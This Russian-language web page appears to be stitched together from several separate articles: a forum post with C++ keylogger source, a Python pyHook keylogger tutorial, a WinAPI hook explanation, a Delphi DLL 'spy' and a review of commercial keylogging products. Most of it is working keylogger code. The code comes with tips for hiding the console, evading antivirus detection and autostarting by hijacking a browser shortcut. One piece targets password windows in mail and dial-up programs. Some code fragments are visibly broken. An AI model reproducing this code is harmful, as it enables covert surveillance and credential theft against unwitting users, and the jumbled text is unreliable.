Главная » Mozilla Firefox » Кейлоггер консольный.              Лаборатория информационной безопасности. Создание простого кейлоггера на Python

Кейлоггер консольный.              Лаборатория информационной безопасности. Создание простого кейлоггера на Python

Привет всем!

Идея написания кейлоггера у меня появилась давно, в начале я писал на ассемблере, но не доделал до конца, получилось что он очень глючил, но т.к. работы было много, а комерсом я не занимаюсь, стимул быстро пропал...

Шло время, я про эту тематику как-то забил, пока мне не попалась на глаза статья, атаки на банковскую систему, при помощи простенького кейлогера и вполне легальной программы, вероятно для пересылки логов и обхода файерволов...

Мне стало интересно, а как сложно "Программисту средней руки", к коим я себя отношу написать простенький кейлогер, как он будет палится аверами и сколько времени на это потребуется!

Идея создания такой темы/раздела появилась уже потом, когда я почти закончил этот кейлоггер.

Но обо всём попарядку, итак ответы на вопросы моего мини-исследования:

1. На момент написания статьи кейлоггер обнаруживает какой-то Endgame, и-то если поиграть с Relise/Debug и настройками компилирования, детекты пропадают;

2. Кейлогер отлично работает с UAC, практически не палит себя, т.е. вы никак не поймёте, что ваши клавиши пишутся в лог.

3. Антивирусы никак не реагируют, т.е. считают что так и надо.

4.Сколько-же время на это ушло?

Около 5-ти часов, но это нужно учитывать, что опыта работы в студии у меня нет, пришлось разбираться с кодировкой символов, хуками и т.д. Больше гемора с кодировкой конечно было...

Итак перейдём к основной части этой статьи:

1.Постановка задачи:

Написать кейлоггер локального действия, который может отслеживать нажатия клавиш и записывать их в лог, также нужно в логе указать дату нажатия и окно приложения где было нажата клавиша, кейлогер должен работать с русской и английской раскладкой. Также кейлогер должен работать с ограниченными правами в системе и никак не выдавать себя, пример лога:

Безымянный - Блокнот: English: M: Fri May 12 20:38:39 2017
Безымянный - Блокнот: English: ,: Fri May 12 20:38:41 2017

Безымянный - Блокнот: Russian: : : Fri May 12 20:38:48 2017
Безымянный - Блокнот: Russian: : Р: Fri May 12 20:38:48 2017
Безымянный - Блокнот: Russian: : И: Fri May 12 20:38:48 2017
Безымянный - Блокнот: Russian: : е: Fri May 12 20:38:50 2017

2.Основная идея написания таких программ:

Не важно на чём вы хотите писать, основная идея, это поставить hook, если по простому, то это "ловушка" для клавиатуры, смысл в том-что при нажатии пользователем на клавишу, ваша программа будет выполнять вашу функцию (подпрограмму), где вы можете уже определить нажатую клавишу, записать её в лог и т.д.

В виндовсе есть SetWindowsHookEx , которая устанавливает определяемую программой процедуру фильтра (hook) в цепочку фильтров (hook). Вы должны установить процедуру фильтра (hook) для того, чтобы контролировать в системе определенного рода типы событий. Эти события связаны или с конкретным потоком или со всеми потоками одного и того же рабочего стола, что и вызывающий поток.

Обратите внимание на последнее предложения, благодаря этого свойства, мы можем отследить все нажатия клавиш, в других приложений.

Как это сделать, пример:

Int main(int argc, _TCHAR* argv) { keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0); msgLoop(); return 0; }

HookProc - Это наша подпрограмма (Которая будет вызываться после нажатия пользователем на клавишу), которую мы позже напишем.

MsgLoop() - Тоже очень важная вещь, там цикл, если по простому то программа зациклица и будет постоянно вызывать hookProc когда пользователь нажмёт на клавишу, вот её код:

Void msgLoop() { while (GetMessage(&message, NULL, 0, 0)) { TranslateMessage(&message); DispatchMessage(&message); } }

Функция GetMessage извлекает сообщение из очереди сообщений вызывающего потока и помещает его в заданную структуру. Эта функция регулирует поступление отправленных сообщений до тех пор, пока помещенное в очередь сообщение доступно для извлечения.

Функция TranslateMessage переводит сообщения виртуальных клавиш в символьные сообщения.

Функция DispatchMessage распределяет сообщение оконной процедуре. Она используется, чтобы доставить сообщение, извлеченное функцией GetMessage .

Теперь приступим к написанию нашей основной функции (подпрограммы), которая вызовится, после нажатия на кнопку пользователем:

Спойлер: hookProc (Код на С++)

LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (wParam == WM_KEYDOWN) { HKL Lang_Keyboard; GetActiveKb (Lang_Keyboard); //Получение текущей раскладки. int CodeKeyboard = (int) Lang_Keyboard; p = (PKBDLLHOOKSTRUCT)(lParam); sc = MapVirtualKey(p->vkCode, 0); sc <<= 16; if (!(p->vkCode <= 32)) { sc |= 0x1 << 24; } GetKeyNameTextA(sc, keyNameBuff, 16); myKey = keyNameBuff; if (myKey == "Space") { writeToLog(""); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog(""); } else { if (CodeKeyboard == 0x4190419) { //Русская раскладка //************************************************************************************************* if (isCaps() == 1) { myKey = GetSymbolRu (myKey); writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); myKey = GetSymbolRu (myKey); writeToLog(myKey); } //************************************************************************************************* } else { if (isCaps() == 1) { writeToLog(myKey); } else { std::transform(myKey.begin(), myKey.end(), myKey.begin(), ::tolower); writeToLog(myKey); } } } } return CallNextHookEx(NULL, nCode, wParam, lParam); }


Расскажу идею, саму программу можете посмотреть во вложении:

1.Начнём с прототипа нашей подпрограммы:

LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)

WParam - Определяет нажата-ли клавиша, поэтому перед тем как что-то делать, мы проверяем нажата-ли клавиша так:

2.1. Получить раскладку клавиатуры;
2.2. Получить виртуальный код клавиатуры, по нему мы сможем уже определить что конкретно нажал пользователь;
2.3. Ну в общем получить наш символ.

Всё выше названное делает этот код:

HKL Lang_Keyboard; GetActiveKb (Lang_Keyboard); //Получение текущей раскладки. int CodeKeyboard = (int) Lang_Keyboard; p = (PKBDLLHOOKSTRUCT)(lParam); sc = MapVirtualKey(p->vkCode, 0); sc <<= 16; if (!(p->vkCode <= 32)) { sc |= 0x1 << 24; } GetKeyNameTextA(sc, keyNameBuff, 16);

GetKeyNameTextA - Поместит название клавиши в буфер keyNameBuff.

Имя программы, с которой работает пользователь, можно получить так:

GetWindowTextA(hwnd, title, 100); GetWindowTextA(hwnd, ntitle, 100); ///pars

Время так:

// Gettime time_t seconds = time(NULL); tm* timeinfo = localtime(&seconds);

Ofstream log(logName, ios::app); log << title; log << ": English"; log << ": " << s; log << ": " << asctime(timeinfo) << endl;

logName - Путь куда будет писаться файл логов, я использую стандартный вывод в поток ofstream, писаться может например в AppData (Туда и пишет), получить путь примерно так:

Strcpy(logName, getenv("APPDATA")); // Get APPDATA folder strcat(logName, "log.log");

НО ЭТО ЕЩЁ НЕ ВСЁ, ТЕПЕРЬ САМОЕ ИНТЕРЕСНОЕ, А ИМЕННО GetKeyNameTextA - РАБОТАЕТ ТОЛЬКО С СИМВОЛАМИ ЛАТИНСКОЙ РАСКЛАДКИ, КАК-ЖЕ СДЕЛАТЬ ПОДДЕРЖКУ КИРИЛИЦЫ?

Можно сделать следующий костыль, просто сопоставить кирилицу и латиницу, примерно так:

String _eng = "1234567890~!@#$%^&qwertyuiopasdfghjkl;"zxcvbnm,./QWERTYUIOPASDFGHJKL:\"|ZXCVBNM<>?"; char _rus = "1234567890ё!\"№;%:?йцукенгшщзхъфывапролджэячсмитьбю.ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭ/ЯЧСМИТЬБЮ,";

Номер символа строки _eng соответствует номеру символа _rus, следовательно если мы найдём номер символа _eng, то определим и _rus, тем самым у нас будет кирилица, как это реализовать на примере:

String GetSymbolRu (string Key) { int Number = 0; string Rezult; Number = _eng.find(Key); if (Number != -1) { char * tmp = new char ; // инициализируем дополнительный массив CharToOemA(_rus88, tmp); // преобразовываем delete tmp; // удаляем дополнительный массив Rezult = Rezult + _rus88; return Rezult; // Присвоили результат } else { return Key; } }

Итак, находим номер в _eng (Number = _eng.find(Key);), далее по этому номеру уже можем получить символ в кирилице...:)

НО ПАРА МОМЕНТОВ:

Си в принципе не дружит с кирилицей, а Visual Studio особенно, поэтому что-бы всё было чётенько, ещё один кастыльчик от меня:

Char * tmp = new char ; // инициализируем дополнительный массив CharToOemA(_rus88, tmp); // преобразовываем delete tmp; // удаляем дополнительный массив

Преобразовываем строку с кирилицей, для этого выделяем буфер в памяти и юзаем CharToOemA(_rus88, tmp);, всё теперь наша строка будет нормально писаться в файл и выводится на консоль, не забывайте удалить из памяти delete tmp; потом...:)

If (CodeKeyboard == 0x4190419) { //Russia log << title; log << ": Russian"; log << ": " << ReplaceResult(s); log << ":^^^ " << s; log << ": " << asctime(timeinfo) << endl; } else if (CodeKeyboard == 0x4090409) { //Eng log << title; log << ": English"; log << ": " << s; log << ": " << asctime(timeinfo) << endl; }

Ну нужно конечно ещё будет определить доп. клавиши, такие как пробел, ентер и т.д., примерно так:

If (myKey == "Space") { writeToLog(""); } else if (myKey == "Right Alt") { writeToLog(""); } else if (myKey == "Enter") { writeToLog(""); } else if (myKey == "Left Alt") { writeToLog(""); } else if (myKey == "Tab") { writeToLog(""); } else if (myKey == "Backspace") { writeToLog(""); } else if (myKey == "Caps Lock") { writeToLog(""); } else if (myKey == "Delete") { writeToLog(""); } else if (myKey == "Right Shift") { writeToLog(""); } else if (myKey == "Shift") { writeToLog(""); } else if (myKey == "Ctrl") { writeToLog(""); } else if (myKey == "Right Ctrl") { writeToLog("");

Вроде всё основное, исходник есть во вложении, должно-быть понятно думаю...:)

Ах-да чуть не забыл:

1. Запуск налюбом компе в Visual Studio 2010 (Увеличит размер бинарника, но лучше сделать):

(Проэкт) -> (Свойства) -> (Свойства конфигурации) -> (С/С++) -> (Создание Кода) -> (Библиотека временного выполнения) -> (Многопоточная /МТ) и далее "ОК";

(Project) -> (Properties) -> (C/C++) -> (Code Generation) -> (Runtime Library) -> (Multi-threaded(/MT)) -> Ok

2. Я использовал консольный проект, так легче дебажить, поэтому ещё:

Как убрать консоль:

Жмем Project => Properties (или Alt+F7 ).

Затем Linker => Advanced и вбиваем в Entery Point следующее: mainCRTStartup .

Просто голые сорцы (Там их два), для копипасты и анализа.

ЕЩЁ ПАРА ВОПРОСОВ ПО КЕЙЛОГЕРУ:

1)Нужно-ли его развивать, сейчас там вот-что:

Поддержка латиницы/кирилицы, но не всех символов, если решу развивать, это поправлю;

В логи пишется небольшой мусор (Не нужно учитывать клавиши, которые помечены символом "/"), это можно убрать.

Можно добавить поддержку скриншётера.

2) В общем отпишитесь, нужно-ли развивать далее это, кстати Relise залили на VT, но это не страшно и специально, можно потом продолжить по обходу детекта поработать и как и через колько будет-ли детект у других.

УБЕДИТЕЛЬНАЯ ПРОСЬБА, ЕСЛИ ВОЗМОЖНО ОТПИШИТЕСЬ, ЕСЛИ СМЫСЛ ДАЛЬШЕ СОЗДАВАТЬ ПОДОБНЫЕ ТЕМЫ И РАЗВИВАТЬ ПОДОБНЫЕ ПРОДУКТЫ ТУТ! :)

Здравствуйте, с вами снова QUAZAR. Сегодня я покажу как создать простой кейлоггер на Python. Разумеется данный клавиатурный шпион не может соперничать с такими гигантами как , но несмотря на это ему можно найти свое применение.

Что такое кейлоггер?

Подробно о том, что такое кейлоггер и о видах кейлоггеров, вы можете прочитать в статье « «. Чтобы найти дополнительные материалы по теме используйте поиск по сайту, который находится в верхнем правом углу. Просто впишите слово «кейлоггер» или «клавиатурный шпион».

Простой кейлоггер на Python

Для создания кейлоггера нам потребуется:

  • Операционная система: Windows или MacOs (также можно использовать любой Linux, но я лично не пробовал)
  • Установленный на целевой машине Python, а также специальные библиотеки.

Данный материал носит информационный характер. Изложенная в статье информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.сайт, ни автор публикации не несут никакой ответственности за любой вред нанесенный материалом этой статьи.

Создание простого кейлоггера на Python

Для начала необходимо скачать и установить Python .


Простой кейлоггер на Python

После установки Python вам необходимо установить модули «pyHook» и «pywin32». На этом сайте вы найдете 32- и 64-битные версии для Windows и других ОС. Скачайте «PYhook» и «pyWin32» в соответствии с установленной вами версией Python и Windows (32 бит или 64 бит).


Кейлоггер на Python. Модуль PYhook Кейлоггер на Python. Модуль pyWin32

После загрузки установите и откройте меню IDLE (Python GUI) из меню «Пуск».

Простой кейлоггер на Python

Зайдите в меню «Файл» и нажмите на пункте «Новый Файл». После чего вставьте код кейлоггера:

#Name: QUAZAR
#Website: www.сайт
import pyHook, pythoncom, sys, logging
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

И сохраните его назвав файл Keylogger.pyw. Только не сохраняйте файл в корневом каталоге C: где для копирования и удаления файлов нужны права администратора. Создайте новую папку на диске C: или в другом месте, где вам не нужны права администратора для копирования файлов и сохраните Keylogger.pyw там.

В качестве выходного файла отчета «file_log =« C:keyloggerlog.txt » вы можете выбрать любое место, но лучше конечно, какое-то скрытое место на жестком диске. В этом примере я буду сохранять файл отчета на диск в корневой каталог C:. Ведь мне нечего скрывать.

Автоматический запуск кейлоггера на Python

Кейлоггер готов. Теперь надо сделать так чтобы кейлоггер запускался скрыто от пользователя и автоматически с загрузкой Windows. Реализовать это можно по разному. Попробуем сделать с помощью bat-файла привязав запуск кейлоггера к какой-нибудь программе или прописав в автозагрузку.

Для начала создайте bat-файл. Скопируйте и вставьте в блокнот следующий код:

::Name: QUAZAR
::Website: www.сайт
@echo off
start "" "C:keyloggerkeylogger.pyw"
start "" "C:Program FilesOperalauncher.exe"

В первой строке необходимо вписать путь к файлу keylogger.pyw (в моем случае «C:keylogger.pyw»). Во второй строке вы должны ввести путь к программе, который обычно использует пользователь (в моем случае — браузер Opera).

После редактирования сохраните файл в расширении.bat (в моем случае logger.bat) в каком-нибудь скрытом месте на компьютере (в моем случае в «C:keylogger.bat»).

Теперь идем на рабочий стол и выбираем ярлык часто используемой программы (в моем случае — это браузер Opera). Правым кликом мышки вызываем контекстное меню и заходим в свойства ярлыка. В поле «Объект» вводим путь к бат-файлу кейлоггера «C:keyloggerlogger.bat».

После внесения изменений изменится и иконка ярлыка. Но это легко решается на вкладке свойстве (смотрите скрин выше).

Здравствуйте, Хабровчане.

Решил написать программный логгер клавиатуры на C++ с использованием WinAPI. Не могу сказать, что преследовал какую-нибудь шпионскую цель, когда писал его, скорее знакомился с хуками на WinAPI. Так как получилось не так уж и плохо, а на Хабре нет статьи про программные логгеры, решил написать свою.

Как это сделано?

Для отлавливания нажатия клавиш был использован клавиатурный хук .

HHOOK WINAPI SetWindowsHookEx(_In_ int idHook, _In_ HOOKPROC lpfn, _In_ HINSTANCE hMod, _In_ DWORD dwThreadId);

Для того, чтобы перехватывать нажатия всех клавиатурных клавиш, в качестве параметра idHook удобно указать WH_KEYBOARD или WH_KEYBOARD_LL. Разница лишь в том, что WH_KEYBOARD_LL также перехватывает нажатия системных клавиш (т.е Alt или любая клавиша при зажатом Alt), поэтому его мы и выберем.

Lpfn — указатель на функцию, обрабатывающую перехваченные сообщения (в нашем случае нажатия клавиш).
hMod — дескриптор экземпляра приложения, содержащий обрабатывающую функцию.
dwThreadId — идентификатор потока, сообщения которого мы хотим перехватывать. Нужно установить данный параметр в 0, чтобы перехватывать сообщения всех потоков.

Возвращаемое значение — дескриптор нашего хука, который при выходе нужно будет освободить функцией UnhookWindowsHookEx.
Обратившись за справкой в MSDN , мы видим прототип функции, обрабатывающей сообщения данного хука.

LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam);

Параметр nCode должен быть равен HC_ACTION, иначе сообщение предоставляется другому процессу.
wParam — это одно из следующих значений WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, или WM_SYSKEYUP.
lParam — указатель на структуру KBDLLHOOKSTRUCT, в полях которой нас интересуют только 2 параметра: vkCode(виртуальный код) и scanCode нажатой клавиши.
Данная функция должна вернуть значение функции CallNextHookEx, в противном же случае, следующий обрабатывающий событие хук, может получить неверные параметры сообщения.
Каждый раз при нажатии клавиши, наша программа будет перехватывать это событие и обрабатывать нашей процедурой LowLevelKeyboardProc.

Для того, чтобы ретранслировать виртуальный и скан код клавиши в символьный вид, нам понадобится функция ToAsciiEx .

Int WINAPI ToAsciiEx(_In_ UINT uVirtKey, _In_ UINT uScanCode, _In_opt_ const BYTE *lpKeyState, _Out_ LPWORD lpChar, _In_ UINT uFlags, _In_opt_ HKL dwhkl);

Первые 2 параметра — виртуальный и скан коды клавиши соответственно.
lpKeyState — состояние клавиатуры, проверяет какие клавиши нажаты/активны.
lpChar — указатель на двойное слово, в которое функция запишет символьное представление клавиши.
uFlags — параметр, указывающий на активность меню.
dwhkl — идентификатор раскладки клавиатуры.
Возвращаемое значение — количество символов, записанных в буфер lpChar. Нас интересует случай, когда записан 1 символ.
В принципе, это 3 основные функции, требуемые для самого простого клавиатурного логгера.

Немного о программе

Программа компилируется без RTL в Visual Studio 2013. Таким образом, мы получаем небольшой объём исполняемого файла и невозможность сборки в debug-версии. Данные записываются в лог файл в тот же каталог, где находится.exe файл. Для удобства логгер каждый раз создает новый файл при записи, записывает время нажатия клавиш, имя окна, в котором вводились символы и останавливается по нажатию LSHIFT+RSHIFT. Данный сниффер не адаптирован под полную клавиатуру, некоторые служебные клавиши, например F13 или NUM_LOCK, могут писаться, как . Думаю те, кто хоть немного знаком с C/C++ смогут запросто их добавить. Более того, Вы можете полностью изменить код так, как Вам удобно.

О написании клавиатурных шпионов
рассказывалось уже неоднократно, но все они
имеют один большой недостаток - как правило,
требуется узнать весьма ограниченную
информацию, а не записывать в файл лога все,
что юзер пишет на клавиатуре - вряд ли тебе
даст много пищи для размышлений логи
нажатия на кнопки при игре в CS 😉

Отсюда следует, что шпион должен быть
продвинутым, а не тупо писать в лог все, что
ему дают 🙂 Даже назвать такую программу
шпионом язык не поворачивается - это почти
электронный агент 007:-))) Путей для того,
чтобы программа писала в лог интересующий
нас материал много. Самый простой -
контролировать активные окна, т.е. в которых
в данный момент давятся кнопки 🙂 Как ты,
думаю, знаешь, шпионы как правило состоят из
исполняемого файла и DLL. Это связано с тем,
что для перехвата сообщений к окну
требуется создать новый ПРОЦЕСС, и самое
удобное для этого - использовать dll-ку.
Поэтому для того, чтобы активировать
собственно сам логгер, нужно будет в нужный
момент загрузить DLL, а когда активное окно
сменится на иное - выгрузить ее из памяти.

Рассмотрим функции работы с DLL в языке Visual
C++. Загрузка в память длл-ки производится
функцией hINSTAGE=LoadLibrary("name.dll"), где hINSTAGE -
как бы дескриптор загруженной в память DLL,
name.dll - имя библиотеки. Чтобы ее выгрузить,
существует функция FreeLibrary(hINSTAGE);

Теперь о том, как можно нужные нам
приложения. Например, нам известно, что юзер
читает почту через сайт www.mail.ru, тогда можно
настроить агента так, чтобы он перехватывал
нажатия клавиш, когда юзер зайдет на этот
сайт. (Следует помнить, что в некоторых
приложениях шпион клавиатуры вообще не
может работать, например в адресной строке
Internet Explorer"a - это приводит к "аварийному
завершению программ" - а чего иного ты от
Windows хотел:))) Для этого способа вполне
подойдет и чтение паролей из "звонилки"
- если юзер страдает паранойей и каждый раз
вводит логин и пасс вручную 🙂 Или тебе очень
интересно узнать что же он пишет в Outlook"e или
в блокноте. Вот часть кода, выполняющая
сравнение заголовков окон с нужными нам.

HINSTAGE hINSTAGE;

while (1)
{
//Запускаем цикл.

int sl,ll;
ll=1;
sl=2;
//переменные для
счетчик
а.
char st;
HWND hw;
//Идем самым простым
путем - сравниваем посимвольно строки:
полученный заголовок окна и с нужном нам
строкой.

while (ll!=sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128);// читаем

char stt="_Здесь пишем заголвок нужного
нам окна_№1";

sl=strlen(stt);
ll=0;
while (stt==st)
//cравниваем
посимвольно строки
//это удобнее делать с той позиции, что будет
проверяться, вхордит ли нужная
//нам строка как часть в другую строку, можно
сделать подобие //широкого фильтра.

{
ll++;
}

if (ll==sl) {//если строки
совпадают до конца 1-ой строки -

halt; //прерываем процесс
}
// и так далее - если
нужно проверить на наличие нескольких окон.

char stt="_Здесь пишем заголвок нужного
нам окна_№2";
sl=strlen(stt);
ll=0;
while (stt==st)
{
ll++;
}

if (ll==sl) {
halt; //прерываем процесс
}

Вместо последовательной проверки можно
сделать параллельную, когда сравниваются в
одном цикле элементы строк, если хоть одна
совпала - тогда DLL-шпион активизируется.

hINSTAGE=LoadLibrary("key1.dll");

Теперь нам нужно все время проверять,
остается ли данное окно активным.

while (ll==sl) //пока
строки совпадают - крутимся на месте

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// читаем
активное на данный момент окно.

ll=0;
while (stt==st)
{
ll++;
}
}

Выход из цикла говорит о том, что активное
окно сменилось, поэтому далее выгружаем "шпионскую"
библиотеку и цикл начинается с начала - т.е.
прога опять ждет, когда выпадет одно из
нужных окон.

FreeLibrary(hINSTAGE);

Однако же вышеописанный способ имеет и
недостатки - требуется каждый раз проверять
из целого списка окон является ли нужное
нам активным на данный момент. Поэтому
можно юзать другой алгоритм - проверять не
заголовок окна, а смотреть, если в данном
окне элементы типа EditBox"а. Как правило,
пароли пишутся именно там 🙂 Для этого будет
смотреть на элементы этого окна - и если
среди них есть Edit - тогда грузим DLL.

char p2,p3; //массивы
символов для заголвков окон.

Опять таки в циклe проверяем все окна:

while (p3!="Edit") //пока
не нашли окно с едитбоксом - выполняем цикл

{

hw=GetForegroundWindow();

HWND hwnd_child;//переменная
элемента окна

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child,p3,128);
if (p3!="Edit")
//если первый из
найденных элементов окна- не EditBox - тогда
ищем дальше

{
while (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child,p3,128);
if (p3=="Edit")
{
halt;
}
}
}
}

Теперь собственно о самой шпионской DLL.
Писать ее лучше на Дельфях, потому как этот
возмужавший потомок Паскаля не имеет столь
извращенной "Сипипишной" привычки
придирки к типам данных. Чтобы создать
библиотеку выберем File-New-Direct Link Library - и
заготовка для DLL готова. А вот сам код:

library key1;
uses Windows;

var
KHook: HHOOK;//переменная для
"ловушки"

function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; //код
"клавиша нажата"

var
Simv: ShortString;
KL: array of Char;//для
проверки раскладки клавы

FStruct: TOFSTRUCT;
F: TextFile;
//переменная
файла для записи лога.

begin

// отсеиваем лишние
сообщения
if (lParam and KState) <> 0 then
begin

Exit;
end;

AssignFile(F, "keylog.txt");

// пытаемся открыть
файл "keylog.txt":
if OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
// если файл не
создан - создаем.

end
else Append(F);
//если есть - пишем в
конец.

Simv:=chr(0);//обнуляем
переменную символа, читающегося с клавы.

// анализируем код
нажатой клавиши
case wParam of
// цифры
48..57: Simv:=Chr(wParam);
96: Simv:="0";
97: Simv:="1";
...
104: Simv:="8";
105: Simv:="9";
189,109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
end;

GetKeyboardLayoutName(KL); //
проверяем раскладку

if KL = "00000409" then // если
латинская:

begin
case wParam of
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv:=Chr(wParam);
end;
end;
end;
if KL = "00000419" then
// если
русская

begin
case wParam of
219: Simv:="Х";
221: Simv:="Ъ";
186: Simv:="Ж";
222: Simv:="Э";
188: Simv:="Б";
190: Simv:="Ю";
191: Simv:=".";
65: Simv:="Ф";
...
87: Simv:="Ц";
88: Simv:="Ч";
89: Simv:="Н";
90: Simv:="Я";
end;

//если символ не пустой(т.е.
если была нажата буквенно-цифровая клавиша)
//тогда пишем его в файл
if Simv<>"" then
Write(F, Simv);
//закрываем файл
CloseFile(F);

// передаем сообщение
другим ловушкам в системе
Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;

begin
//Установить ловушку
для перехвата сообщений о клавиатуры.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

Так же эту программу можно упростить в
зависимости от области применения - если
допустим нужно только считать один раз
пароль из звонилки - тогда можно поставить
проверку на окна до нужного нам, и когда оно
станет активным - загрузить библиотеку
key1.dll, подождать определенное время, за
которое юзер успеет набить эти символы на
клавиатуре, а затем выгрузить библиотеку и
завершить программу. Примерно так 🙂

hINSTAGE=LoadLibrary("key1.dll");
Sleep(10000);
//ждать 10 секунд, за это
время юзер наберет пароль.
//время может быть увеличено в зависимости
от степени заторможенности юзера
// и его скрости печатанья на клаве 🙂

FreeLibrary(hINSTAGE);

PS: Весь вышеперечисленный материал был дан
исключительно с демонстрационными и
общеобразовательными целями, автор ставил
перед собой задачу продемонстрировать
алгоритм работы программы типа "апгрейженный
клавиатурный шпион" и вся
ответственность за использования этого
материала ложится на тебя (непосильным
бременем 🙂) В реализации кода присутствуют
мелкие неточности, не вредящие собственно
алгоритму - попробуй найти их сам)).

PSS: Конечно же кейлоггер может не только
выполнять свою основную функцию -
собственно писать в лог нажатия кнопок, но и
изменять значения нажатых клавиш по твоему
вкусу - но как это сделать и для чего это
может быть просто жизненно необходимо - в
следующий раз 🙂

Различные шпионские программы бывают необходимы в условиях, когда к одному компьютеру имеют доступ много людей.

В этих условиях пользователь может захотеть узнать, какие сайты посещались с его компьютера (например, детьми), не происходило ли воровство с кредитных карт с помощью сохраненных паролей и т. д. для прояснения этих вопросов и потребуется .

Наш обзор позволит вам сделать оптимальный выбор.

Особенности выбора

Что же такое по своей сути клавиатурный шпион? Это программа, которая, строго говоря, напрямую никак не связана с клавиатурой.

Она устанавливается в память компьютера и действует на . Часто признаков ее деятельности не видно на компьютере, если не искать их целенаправленно.

Такая программа косвенно взаимодействует с клавиатурой, то есть работает с программой на ПК, которая преобразует сигналы, поступающие на процессор в результате нажатия кнопок, в текст при печати.

То есть, направлено действие такого софта на сбор информации, вводимой через клавиатуру.

Такие утилиты бывают разного типа – с помощью некоторых можно просмотреть весь набранный с клавиатуры текст, с помощью других – только тот, что был набран в браузере или в каком либо выбранном приложении.

Некоторые программы предоставляют возможность настройки таких показателей, другие нет.

Также они отличаются друг от друга по степени скрытности. Например, деятельность одних очевидна, на Рабочем столе остается ярлык и т. д., такие программы подойдут для контроля деятельности, например, детей.

Следы присутствия и деятельности других не заметны вовсе – они действуют скрыто и подойдут для установки на чужой компьютер, когда факт установки необходимо скрыть от стороннего пользователя.

Учитывая такое разнообразие, выбрать максимально подходящий софт может быть достаточно сложно.

В данном материале представлен ТОП лучших программ, которые можно использовать для этой цели. Среди них проще выбрать подходящую.

Технические характеристики

Для упрощения процесса выбора программного обеспечения в таблице, размещенной ниже, приведены основные сравнительные характеристики всех программ, включенных в ТОП.

Название Тип лицензии Тип собираемой информации Функционал Дизайн
SC-KeyLog Бесплатно Вся Широкий Упрощенный
WideStep Handy Keylogger Бесплатно/Платно Вся Широкий Улучшенный
Actual Spy Платно Вся Очень широкий Стандартный
EliteKeylogger Платно Вся Широкий Стандартный
The Rat! Бесплатно/Платно Меньше, чем в предыдущих Довольно широкий Неэстетичный
SPYGO Бесплатно В зависимости от версии В зависимости от версии Стандартное оформление Windows
Ardamax Keylogger 2.9 Бесплатно С клавиатуры Суженный Упрощенный
NS Keylogger Personal Monitor 3.8 Бесплатно Вся Суженный Упрощенный
KGB Spy Платно С клавиатуры+ открытые программы Узкий Простой
Golden Keylogger 1.32 Бесплатно С клавиатуры Очень узкий Простой

Основываясь на характеристиках из этой таблицы легко выбрать максимально подходящую под конкретные требования программу.

Подробнее об этих утилитах же рассказано ниже.

SC-KeyLog

Это объемная и функциональная программа шпион, которая распространяется бесплатно.

Помимо отслеживания конкретно информации вводимой с клавиатуры, в состоянии также собирать , адресах посещенных сайтов, паролях, открытых окнах в браузере.

Дает полную информацию обо всех действиях, производимых на компьютере. При этом формируемый файл можно просмотреть удаленно с другого устройства.

  • Возможность удаленного доступа к файлу с другого устройства;
  • Отсутствие следов деятельности программы на компьютере при правильных настройках;
  • Разнообразие собираемых данных – практически информация обо всех действиях на ПК может быть доступна.
  • Сохраняет пароли только не выше NT0;
  • Слишком простое меню и неэстетичный дизайн;
  • Достаточно неудобный формат отображения результата.

А что же говорят пользователи, которые активно применяют этот софт? «Абсолютна незаметна для пользователя», «Данные исправно приходят на почту».

WideStep Handy Keylogger

Это приложение распространяется условно бесплатно. Цена полной платной версии составляет 35 долларов.

Довольно интересная и функциональная программа, которая стоит своих денег, если вы готовы их заплатить.

Отличительная черта – способность отправлять записанные данные на с указанной периодичностью. В остальном работает нормально, часто, стабильнее других программ из этого списка.

  • Сбор информации различных типов;
  • Полная невидимость работы на компьютере пользователя;
  • Простой интерфейс и управление.
  • Дизайн лучше, чем в предыдущей программе, но все равно не на высоте;
  • Формат отображения результата неудобный;
  • Платная версия стоит достаточно дорого.

Мнения юзеров об этом софте таковы: «Удобная, простая и функциональная программа. Довольно незаметна при работе».

Actual Spy

Это функциональная и сложная платная программа стоимостью 600 рублей. Однако она имеет демонстрационную версию, распространяющуюся бесплатно.

Особенность этого софта – способность в заданный период времени.

Это помогает решить проблему ввода графического пароля/ключа, которые в последнее время стали широкого распространяться.

  • Множество типов собираемой информации плюс возможность делать скриншоты с экрана в указанный период;
  • Большое количество других дополнительных функций и особенностей;
  • Записывает не только действия, но и время их выполнения;
  • Шифрует сформированный журнал.
